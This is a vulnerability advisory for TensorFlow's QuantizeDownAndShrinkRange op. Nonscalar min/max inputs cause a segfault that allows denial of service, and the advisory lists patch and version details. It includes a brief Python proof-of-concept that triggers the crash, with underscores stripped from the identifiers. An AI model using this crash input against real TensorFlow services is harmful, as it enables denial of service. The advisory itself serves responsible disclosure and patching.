PT-2026-59987 · Pypi · Tensorflow-Cpu
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizeDownAndShrinkRange is given nonscalar inputs for input min or input max, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
out type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input min = tf.constant([], shape=[0], dtype=tf.float32)
input max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizeDownAndShrinkRange(input=input, input min=input min, input max=input max, out type=out type)Patches
We have patched the issue in GitHub commit 73ad1815ebcfeb7c051f9c2f7ab5024380ca8613.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow-Cpu